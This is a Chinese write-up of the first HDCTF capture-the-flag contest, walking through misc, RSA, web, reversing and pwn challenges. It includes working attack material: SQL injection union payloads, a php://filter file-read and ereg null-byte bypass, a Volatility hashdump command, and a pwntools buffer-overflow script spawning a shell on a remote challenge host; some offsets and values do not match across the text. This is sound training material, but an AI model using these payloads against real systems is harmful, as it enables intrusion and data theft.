第一届HDCTF Write up

阅读量    331800 | 评论 11   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

有幸参与海南大学组织举办的第一届HDCTF,听说难度中等偏易,刚刚入手CTF的我认为这是一次很好的练习以及学习机会。便兴冲冲的参与啦!

 

MISC

首先,自认为misc是最容易的(相对web、rev、pwn来说,也不把今年的国赛MISC考虑在内。。。)便先拿MISC开刀(签到题就不说了23333)

循环冗余码了解一下 100

题目描述:xx 同学用他的 QQ 号加密了压缩包,你能成功破解出并找到数据包中的秘密吗?

下载文件得到两个加密压缩包:enc.rar与qq.rar

循环冗余码,CRC32,然后题目说密码是QQ号,

从包里可以看到是8位QQ号,很自然的可以想到是CRC碰撞了,虽然超过6个字节的内容CRC碰撞就不合适了,不过已经知道内容是八位数字,那就很容易写脚本碰撞了,以下是py2脚本

import binascii
for a in range(10):
    for b in range(10):
        for c in range(10):
            for d in range(10):
                for e in range(10):
                    for f in range(10):
                        for g in range(10):
                            for h in range(10):
                                txt= str(a)+str(b)+str(c)+str(d)+str(e)+str(f)+str(g)+str(h)
                                crc = binascii.crc32(txt)
                                if ((crc & 0xFFFFFFFF)==0xE82D0FCC):
                                    print txt

运行得到:

输入密码拿到一份流量包,流量包分析,wireshark打开,追踪TCP流,一条一条查看过去

拿到一条被加密的flag:

V20xNGFGb3pkR2hOUkdoc1RUSk5lazFFVlRCTk1scG9XbFJGZDAxSFdtMU9WMDB5V2xSTk5WcEVTWGxhUkVFeldrZ3dQUT09

虽然末尾没有等于号那么明显的标志,但base64应该八九不离十,最后通过三次base64解密后get flag:

flag{a08e3c30543fae100ff5c6e39d22d07d}

总结:

考点:压缩包解密之CRC碰撞;流量包分析;base64。

总的来说这一题不算太难,还是偏新手向的,稍微会一点点python,然后搜索一下python中关于crc的方法便能轻易构造脚本。流量包分析也是套路追踪TCP流,至于最后base64显然不难猜。

信号分析 150

题目描述:xx同学使用 hackcube 截获到了一段停车杆的遥控信息,你能还原这个原始信号吗?flag格式:flag{md5(得到的信号格式)}

提示:

hint1:参考:https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1

hint2:试试波形分析吧! Audacity

下载得到一个.wav文件,拖进 Audacity观察,

在波形(dB)(W)下可以看到如此波形,由于没接触过遥控信息,进入所给参考资料,

根据

即可知道题目所给文件中的波形的含义为:FFFFFFFF0001

再根据flag格式,get flag:flag{a2720cc18b1410daaf83555eb262387a}

总结:

在给了参考资料,以及hint2的情况下,本题难度大大降低,主题人可能想通过本题让答题人了解接触遥控信号这一块吧?

你能发现什么蛛丝马迹吗 200

题目描述:xx 同学在某处得到了一个神秘的镜像文件,你能帮他发现一些神秘的信息吗?

提示:1. Volatility 2. 关键词 flag

下载得到一份镜像文件,用kali下的Volatility进行分析,

首先查看文件的profile值

指令:volatility -f memory.img imageinfo

猜测profile值为Win2003SP1x86

然后查看一下进程

指令:volatility -f memory.img —profile=Win2003SP1x86 pslist

发现一个及其显眼的最近程序的DumpIt.exe,感觉有点蹊跷,

然后试着提取内存中保留的 cmd 命令使用情况

指令:volatility -f memory.img —profile=Win2003SP1x86 cmdscan

看见Flags字样,根据提示,这个程序一定有点问题,找到他的PPID把他dump下来

指令:volatility -f memory.img —profile=Win2003SP1x86 memdump -p1992 -D /root

得到1992.dmp文件,然后用foremost提取里面的文件

指令:foremost 1992.dmp -T

分离出来很多文件,在其中的png文件夹中发现四张图像(重复了其实)二维码扫出来内容是:

jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=

第一眼以为是base64,随即试了一下,解出来是乱码,然后根据上图的key以及iv,应该是AES加密,找到一个在线解AES的网址:http://tool.chacuo.net/cryptaes

昂吭,get flag!flag{F0uNd_s0m3th1ng_1n_M3mory}

总结:

这一题考的是内存取证,主要是对volatility工具的使用吧,然后是一个AES的ECB解密,

下面总结整理一下对volatility工具的使用方法

第一步肯定是需要查看文件的profile值:volatility -f memory.img imageinfo

然后就可以有很多操作了,比如列举进程:volatility -f memory.img —profile=Win2003SP1x86 pslist

cmd 命令使用情况:volatility -f memory.img —profile=Win2003SP1x86cmdscan

列举缓存在内存的注册表 :volatility -f memory.img —profile=Win2003SP1x86 hivelist

打印出注册表中的数据 :volatility -f memory.img —profile=Win2003SP1x86 -o 注册表的 virtual 地址

将内存中的某个进程数据以 dmp 的格式保存出来 :volatility -f memory.img —profile=Win2003SP1x86 memdump -p 进程的PPID值 -D 保存文件的地址

获取到当时的网络连接情况:volatility -f memory.img —profile=Win2003SP1x86 netscan

获取内存中的系统密码:volatility -f memory.img —profile=Win2003SP1x86 hashdump -y (注册表 system 的 virtual 地址 )-s (SAM 的 virtual 地址) #这在H-GAME的week4中的warm up有用到

除了这些常用到的功能以外,volatility工具还有更多的功能,这里就不在再一一列举了,具体可以使用指令:volatility -h 查看

(这其实是打HGAME整理的,主要参考https://www.jianshu.com/p/6438bc3302c8)

 

CRYPTO

哇,中等偏易的HDCTF的密码学全是RSA,硬核啊,不过倒也是RSA里面偏简单的,可以接受,因为之前HGAME也遇到RSA了,所以留下的脚本,刚好对付这里的RSA了。

basic rsa 50

题目描述:这可能是最最最最简单的 rsa 了
密文:27565231154623519221597938803435789010285480123476977081867877272451638645710

下载得到一份py2代码

import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = "*****************"

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

e = 65533
n = p*q


c = pow(int(b2a_hex(flag),16),e,n)

print c

呃,啥都知道了,上脚本解呗

import gmpy2
from libnum import n2s,s2n

c = gmpy2.mpz(9544552122426002996962843810441848397036784063191487784065817764908998519819)
p = gmpy2.mpz(262248800182277040650192055439906580479)
q = gmpy2.mpz(262854994239322828547925595487519915551)
e = gmpy2.mpz(65533)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)     #自认为gmpy2的神级功能之一;    
m = pow(c,d,p*q)
print "plaintext:"
print hex(m)[2:].decode('hex')

get flag:flag{B4by_Rs4}

bbbbbbrsa 100

题目描述:babyrsa,还是一道 RSA 的题目~

下载得到一份py2代码:

from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random

flag = "******************************"

nbit = 128

p = getPrime(nbit)
q = getPrime(nbit)
n = p*q

print p
print n

phi = (p-1)*(q-1)

e = random.randint(50000,70000)

while True:
    if gcd(e,phi) == 1:
        break;
    else:
        e -= 1;

c = pow(int(b2a_hex(flag),16),e,n)

print b32encode(str(c))[::-1]

和一份enc文件

p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM

呃,小tricks,将c逆序后base64解密得到十进制c:

import base64
c='==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM'
print(base64.b64decode(c[::-1]))


>>>b'2373740699529364991763589324200093466206785561836101840381622237225512234632'

然后,继续看这题的代码,这个e真是有点东西啊,取随机数然后再自减至与欧拉函数互质?这,我能想到的只能是爆破了23333,构造脚本:

import random
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        return 404            #因为20000个数中不是每个e都能求出d,所以这里对求d报错时进行了简单处理
    else:
        return x % m
fw=open("plaintext.txt","w")
p = 177077389675257695042507998165006460849
q = 211330365658290458913359957704294614589
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c  = 2373740699529364991763589324200093466206785561836101840381622237225512234632
phi=(p-1)*(q-1)
for e in range(50000,70000):
        d=modinv(int(e),(p-1)*(q-1))
        if(d==404):
                continue
        else:
                fw.writelines(hex(int(pow(c,d,p*q))))
                fw.writelines("n")

运行结束后得到文本,然后再记事本中ctrl-F搜索666C6167(flag的十六进制形式),得到:

在十六进制转换过去得到flag:flag{rs4_1s_s1mpl3!#}

together 200together 200

题目描述:又是一道 RSA

这一题有四个文件,分别是myflag1,myflag2,pubkey1.pem,pubkey2.pem

打开myflag1,myflag2

base64解码成16进制后得到两份数据

分别是数据1:0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4
数据2:0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df

然后再看两份.pem文件,这个需要用到kali里的openssl工具,

分别输入指令:

openssl rsa -pubin -text -modulus -in warmup -in pubkey1.pem

openssl rsa -pubin -text -modulus -in warmup -in pubkey2.pem

获得

e1:0x91d

e2:0x5b25

N1:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3

N2:75A8B8AA2AD2950E9AED4BE34618DFBEABB8CBA832685CC94F45173330100624846CCF90F3C2DB75BA5AF4B39CAEF1175AB9F898794EAC6082A4F766F7CB280B16F6980B38DDA811761324D619513B3CBE65877ACF51FC70405A8347C121207E71F8E6FCAE39647ED2231D306DD53849257BC306E997A502867012249D1691F5DC11D6AF06539F3F808939343DDE09301A761AE12C1C969076C502BC5A971E10ABCB366547BC94373F37A57DDC43858DB29BAAAAAD0E6867885EA3757403008C164E9C7AFA39B3C65089A151DDD8C06C64271086F9255ADB8ACF82182F8FA252930A187961635BC2A85C761330F85C896314B3FDAE4EFEF7E0A8C93B8854BFC3

连个N一样的?同样的N,不同的e,那么是RSA的共模攻击没错了,那么之前获得的应该是两个密文了,构造共模攻击的脚本:

from gmpy2 import iroot,invert

n = 0x75a8b8aa2ad2950e9aed4be34618dfbeabb8cba832685cc94f45173330100624846ccf90f3c2db75ba5af4b39caef1175ab9f898794eac6082a4f766f7cb280b16f6980b38dda811761324d619513b3cbe65877acf51fc70405a8347c121207e71f8e6fcae39647ed2231d306dd53849257bc306e997a502867012249d1691f5dc11d6af06539f3f808939343dde09301a761ae12c1c969076c502bc5a971e10abcb366547bc94373f37a57ddc43858db29baaaaad0e6867885ea3757403008c164e9c7afa39b3c65089a151ddd8c06c64271086f9255adb8acf82182f8fa252930a187961635bc2a85c761330f85c896314b3fdae4efef7e0a8c93b8854bfc3

def egcd(a, b):

    if a == 0:

        return (b, 0, 1)

    else:

        g, y, x = egcd(b % a, a)

        return (g, x - (b // a) * y, y)



c1 = 0x477368cbaaf758b22dcad0266f81661c4ca0a2296e7041196cef59617c7924dd371cda412c3c7b7d77767e5f942f9fb5d510acff2d2a953194456583b46eba78d2f31b036900a8958fa23b46d5099763dc9b736f15e005c08f54b15444ca1ef3215eac23d64ff25ff61950e8acb033e542d6f9fd0e20d1a1266666f052ff6839e57d3125850f3b2cf89c5a95d8a0cb72afa5abc632ba3a7b67f01a82b7412343b4de5d9871207f554cf5a30e615d98ea9aa9d5484fe2d97a64e02cd112c0ce679f88394b76850c5c23d58883625d3ffbc7adbca7ceadfa0a3b04740b1b111da830754513112f047072e63060b10a40d99f74b39a603a35bde580b792806f0fd4

c2 = 0x3bead109723769307a3f5ad820e3d475a954a7aba3a7012ae08db40a8580f8720bf31c46b6a63a379829af482e66ff5980e1003059c1c4ea8c75536707d1a09e1997b6dd595b274fa88707be57f0a5dfcbc9dd174a35e78dacf73f7bce42f47bd5c0ffb97c810345cfce69d320c80486e1895459bc9a29f42ffdaa23bc20fd9ef0d7ee263a68bae792485de0a21b6dee903bfa97d6d9baa7c6bd609ad4a2975833f7d672dba7464dda86d4b3a8c401ad6a553697e8ce0ccbeb24b3ed15bc7013ac052e0ab98cc15122bea209fe74baca619511137a3a19f3cabd7af249c404a3958f41403b1dd82dfa6930cf976ce1877aa74a2512e932fa855c33064089d3df

e1 = 2333

e2 = 23333

s = egcd(e1,e2)

s1 = s[1]

s2 = s[2]

if s1<0:

    s1 = - s1

    c1 = invert(c1, n)

elif s2<0:

    s2 = - s2

    c2 = invert(c2, n)

m = pow(c1, s1, n) * pow(c2, s2, n) % n

print hex(m)[2:].decode('hex')

运行得到:

get flag:flag{23re_SDxF_y78hu_5rFgS}

(脚本构造参考V爷爷博客:

https://veritas501.space/2017/03/01/%E5%AF%86%E7%A0%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#more)

总结:

这次比赛的密码学,相比于出脑洞古典密码,直接三道RSA还是比较硬核了,做了这三道题,又再一次温习了RSA的加密原理以及脚本构造,还是有所收获的。

 

WEB

欢迎来到HDCTF 50

题目描述:签到题

呃,签到题,那f12一下咯?

没什么端倪,那就按照描述改0.html为1.html吧

呃,将段落一级一级展开最终get flag:flag{welcome_t0_HDctf}

测试你与flag的缘分 100

题目描述:常规编码啦

进入页面

呃,对不对不敢保证,,,,呃,还是点进去吧,

得到一份jsfuck编码的文件,这个Google自带解码功能,f12后,放进控制台跑就好,得到

十六进制转字符串后得到

=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=
=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=
=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94

呃?是这啥?随便复制一段百度搜索,知道是QUOTED-PRINTABLE编码,找到在线解密网址解密得到:

wtf?啥玩意儿,这么整的嘛?回到最初页面,f12大法!发现

(此处暴打出题人)

将图中十六进制转为字符串,然后两次base64解码得到flag

HDCTF{Jsfuck_1s_l0vely!}

这是web题吗?最后才发现网页标题已经说了,

ok fine…

简单的代码审计 200

这一题有点意思。。

进入页面,啥也没有,老样子,f12大法,

发现hint:file=once.php

于是在网址栏键入?file=once.php

进入页面

这,难道要爆破?不对劲,结合题目:代码审计,这题应该有代码才对,在看看hint,发现是file=once.php,这个file,那么源代码中应该存在文件包含函数,也就想到php伪协议中的任意文件读取,于是键入:

http://149.28.22.177:10003/?file=php://filter/read=convert.base64-encode/resource=once.php

得到网页经base64编码后的源码,base64解码后再处理一下格式,得到:

< html > < head > < meta http - equiv = "content-type"
content = "text/html; charset=GBK" > < title > Once More < /title>  </head > < body > < br > < center > < p > You password must be alphanumeric < /p><br>  <form method="get">   <input type="text" name="password" placeholder="Password"><br><br>   <input type="submit" value="Check">  </form > < hr > < br > < /body></html > 


<? php error_reporting(0);
include_once('./flag/flag0.php');
if (isset($_GET['password'])) {
    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
        echo '<p>You password must be alphanumeric</p>';
    } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 999999999) {
        if (strpos($_GET['password'], '*-*') !== FALSE) {
            die('Flag: '.$flag);
        } else {
            echo('<p>*-* have not been found</p>');
        }
    } else {
        echo '<p>Invalid password</p>';
    }
} ?>

果然是审计代码,一步步来,首先输入密码,密码需满足条件:

1,有字母或者数字组成;

2,密码长度小于8,却要比999999999大;

3,密码需要蕴含

矛盾点1:密码长度小于8,要比9个9大,这里可以用科学计数法绕过,比九个九大的最小值就是十亿,即1e9。

矛盾点2:密码只能由字母或者数字组成,却要包含符号:,这里了解到php的ereg函数存在截断漏洞,可以用%00来截断参数,绕过验证

故密码为:1e9%00

输入密码后,仍然错误:

我们注意到我们的密码被改为了1e9%2500

因为浏览器在处理时会自动将我们传的参数url解码一次

那么直接在URL上操作,

最后payload:

http://149.28.22.177:10003/once.php?password=1e9%00*-*

get flag:HDCTF{Is_V3ry_1nteresting!}

总结:

这道题考的知识点还是蛮多的。1:通过文件包含漏洞利用php伪协议中的任意文件读取;2:php的ereg函数的截断漏洞利用;3:浏览器会自动进行一次url解码(实验吧的PHP大法一题了解一下。。)4:科学计数法。

可能刚接触CTF没了解太多的新手真的会把这题当做密码爆破来做吧。

sql注入 300

进入页面,是个登录界面,吸取第二题教训,直接f12,果然有点东西。

试试hash?

点击用户登录,呃,看来这里有脑洞了。是4位数字吗?一个反问。那就不是了,结合hint:试试hash,那么密码可能是一个四位数字的hash值吧,可是hash加密第一堆堆啊,猜最常见的md5吧,不对就再换好了,反正应该是离不开爆破了。用因为burpsuit里的process刚好有hash爆破,就用它爆破了,最后爆破出结果,发现密码是2019的md5值,

输入密码后进入:

首先测试,发现空格(可用/**/代替),等号(”where = “语句为非法)被过滤,但是union 和 select没有被过滤。那么这题这么解。

首先匹配字段,发现到3没有报错

'/**/union/**/select/**/1,2,3#

了解到由于Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息,所以,

同时爆库名和表名

'/**/union/**/select/**/1,TABLE_NAME,TABLE_SCHEMA/**/from/**/information_schema.TABLES#

这里我是这么理解sql语句的,由于不能使用等号,所以不能“where = ”语句一层一层查下来。所以利用information_schema,直接爆库中包含的所有表的表名,顺带爆出表所属的库,以为之后爆字段的时候用。(因为发现如果最后爆字段的时候不带上列所属的表及其所属库,他会自动引用其中sousou这个库,这并不是我们想要的)那为什么这样写可以呢,从information_schema.TABLES中缺能爆出库的信息?显然这是符合逻辑的,因可以理解列、表、库为从属关系,知道最末端的列,那么顺藤摸瓜般便可以知道其所属表,以及库;而只是知道最上层的库,显然不能得出一个具体的表。

同理然后爆出列名和表名(用来一一对应)

'/**/union/**/select/**/1,COLUMN_NAME,TABLE_NAME/**/from/**/information_schema.COLUMNS#

最后爆字段内容,即为flag

'/**/union/**/select/**/1,fffflllag__23333,3/**/from/**/ctf.flag#

get flag: flag{wasaix_hndxctf2019}

如果这里不写ctf.flag,而只是写flag,便会报错:

他默认引用了库sousou,然而表flag在库ctf中,所以会报错。

总结:

这一道sql除了考了常规的手工sql注入中union语句以外,还外加了一点点脑洞和密码的爆破,并没有特别难。但是sql这类题型在CTF赛事上几乎从不缺席。所以WEB方向的选手在sql这里是需要多下点功夫,去理解,去深入。

 

REVERSE

没有认真学习汇编,甚至连动态调试都还不会的我,水了水本次比赛比较简单地两道逆向题,一道考简单算法,一道是pyc,刚好避开了我不会的东西,唔。。。

就是算法逆向 100

下载得到elf文件easyAlgorithm

放入IDA,进入main函数,F5来一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@12
  __int64 v4; // rdi@12
  int v5; // [sp+Ch] [bp-B4h]@1
  signed int i; // [sp+10h] [bp-B0h]@1
  signed int j; // [sp+14h] [bp-ACh]@4
  int v8; // [sp+20h] [bp-A0h]@1
  int v9; // [sp+24h] [bp-9Ch]@1
  int v10; // [sp+28h] [bp-98h]@1
  int v11; // [sp+2Ch] [bp-94h]@1
  int v12; // [sp+30h] [bp-90h]@1
  int v13; // [sp+34h] [bp-8Ch]@1
  int v14; // [sp+38h] [bp-88h]@1
  int v15; // [sp+3Ch] [bp-84h]@1
  int v16; // [sp+40h] [bp-80h]@1
  int v17; // [sp+44h] [bp-7Ch]@1
  int v18; // [sp+48h] [bp-78h]@1
  int v19; // [sp+4Ch] [bp-74h]@1
  int v20; // [sp+50h] [bp-70h]@1
  int v21; // [sp+54h] [bp-6Ch]@1
  int v22; // [sp+58h] [bp-68h]@1
  int v23; // [sp+5Ch] [bp-64h]@1
  int v24; // [sp+60h] [bp-60h]@1
  int v25; // [sp+64h] [bp-5Ch]@1
  int v26; // [sp+68h] [bp-58h]@1
  int v27; // [sp+6Ch] [bp-54h]@1
  int v28; // [sp+70h] [bp-50h]@1
  int v29; // [sp+74h] [bp-4Ch]@1
  int v30; // [sp+78h] [bp-48h]@1
  int v31; // [sp+7Ch] [bp-44h]@1
  int v32; // [sp+80h] [bp-40h]@1
  int v33; // [sp+84h] [bp-3Ch]@1
  int v34; // [sp+88h] [bp-38h]@1
  char v35[40]; // [sp+90h] [bp-30h]@1
  __int64 v36; // [sp+B8h] [bp-8h]@1

  v36 = *MK_FP(__FS__, 40LL);
  v5 = 0;
  v8 = 2;
  v9 = 10;
  v10 = 8;
  v11 = 8;
  v12 = 12;
  v13 = 6;
  v14 = 4;
  v15 = 10;
  v16 = 8;
  v17 = 16;
  v18 = 8;
  v19 = 6;
  v20 = 12;
  v21 = 6;
  v22 = 8;
  v23 = 0;
  v24 = 6;
  v25 = 12;
  v26 = 12;
  v27 = 16;
  v28 = 2;
  v29 = 8;
  v30 = 10;
  v31 = 12;
  v32 = 8;
  v33 = 4;
  v34 = 2;
  puts("Pls give me your flag:");
  __isoc99_scanf("%27s", v35);
  for ( i = 0; i <= 26; ++i )
    *(&v8 + i) -= i % 5;
  for ( j = 0; j <= 26; ++j )
  {
    if ( (*(&v8 + j) ^ v35[j]) != aDegbslvQsizobw[j] )
    {
      puts("Try again!");
      exit(0);
    }
    ++v5;
  }
  if ( v5 == 27 )
    puts("Coungratulations!");
  result = 0;
  v4 = *MK_FP(__FS__, 40LL) ^ v36;
  return result;
}

确实很简单,伪代码看下来,就是将给定的字符先按一定规则移位,然后分别和flag的各个字符异或,最后得到一个加密后的字符串。点开aDegbslvQsizobw[j]可以看到加密后的字符串为:degbsLv{qSiZObwyZKekmua}li|

那么构造脚本进行解密。大致思路为:先将给定的字符按一定规则移位,然后将其与加密后的字符串按位异或,python脚本如下:

a=[2,10,8,8,12,6,4,10,8,16,8,6,12,6,8,0,6,12,12,16,2,8,10,12,8,4,2]
enc='degbsLv{qSiZObwyZKekmua}li|'
ans=''
for i in range(27):
    a[i]=a[i]-i%5
for i in range(27):
    ans+=chr(a[i]^ord(enc[i]))
print ans

得到flag:flag{Just_a_Easy_Algorithm}

总结:

这一题考的是简单的移位和异或加密,这里的移位并不需要去逆,而异或运算的逆,这里有一个点,就是a^b=c,那么c^b=a,加密是可逆的。

这一题更倾向于一种引导作用,让新手去接触逆向,去体会、明白这个“逆”字含义。

easypyc 200

题目描述:就是pyc逆向

下载得到pyc文件,有在线反编译的网站:https://tool.lu/pyc/

反编译得到python代码:

import marshal
from binascii import unhexlify
exec(marshal.loads(unhexlify(b'faa7696d706f7274206d61727368616c0a66726f6d2062696e617363696920696d706f727420756e6865786c6966790a66726f6d2062617365363420696d706f7274206236346465636f64650a7072696e742822446f20796f75206b6e6f77207079633f22290a61203d20223d51324e314d444e32516d4e6d56444e32556d4e78596a5a314d6a4e3563444d3359574e35637a4d33456a4e31596a5933636a4e78597a5932596a4e22')))

见到unhexlify,大致猜测就是反十六进制?那就将其中的十六进制转换为字符串,得到又一串python代码

import marshal
from binascii import unhexlify
from base64 import b64decode
print("Do you know pyc?")
a = "=Q2N1MDN2QmNmVDN2UmNxYjZ1MjN5cDM3YWN5czM3EjN1YjY3cjNxYzY2YjN"

见到一串类似base64编码后的字符串,但是等于号在前面,猜测大概是逆序了,那就将其逆序后base64解码,然后十六进制转化为字符串,最后得到flag:flag{easy_pyc_and_md5}

 

PWN

babystack 150

下载文件,放入IDA分析,F5来一下:

注意到这里有一个name的读入,然后进入vuln()函数:

注意到这里有一个size的输入,于是想到负数溢出。只要输入size的时候填入一个负数,那么就可以输入任意长的字符串。那要填多少的个字符呢?点进buf查看栈的情况,

buf和ebp差了5c,而填充ebp又需要4个字节,所以填充需要填充60,也就是十进制的96,而ebp之后是要覆盖的eip,eip覆盖成啥呢,在IDA的左侧发现了hint函数

call _system的地址为0804864E,于是就将eip覆盖成0804864E,

又注意到command这个参数紧跟hint函数,而command这个参数怎么传呢,想到最开始我们输入了name,于是可以在eip后面跟一个name的地址,而name则构造成/bin/sh,

于是构造脚本:

from pwn import *
context.log_level = 'debug'
p=remote('123.207.114.39',8889)
#p = process('./babystack')
p.recvuntill(':')
p.sendline('/bin/sh')
p.recvuntill('>')
p.sendline('1')
p.recvuntill(':')
p.sendline('-1')
p.recvuntill('string')
p.sendline('a'*93+p32(0x08048636))
p.interactive() 

get flag:flag{bb01b3f2-96cB-47ad-8768-188dcf34fbf5}

总结:本题也是新手向的一道pwn题,可以引导新手了解pwn最基础而核心的原理:利用各种漏洞达到溢出从而执行自己所期望的shell命令来获取flag。当然,更多的其他的pwn题远比这一道babystack要来的复杂以及有深度,所以,慢慢学吖!

 

结语:

这就是我本次参与第一届HDCTF所做出来的所有的题,每道题的WP已经写的尽可能详细,希望对刚入门CTF的CTFer有所帮助。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多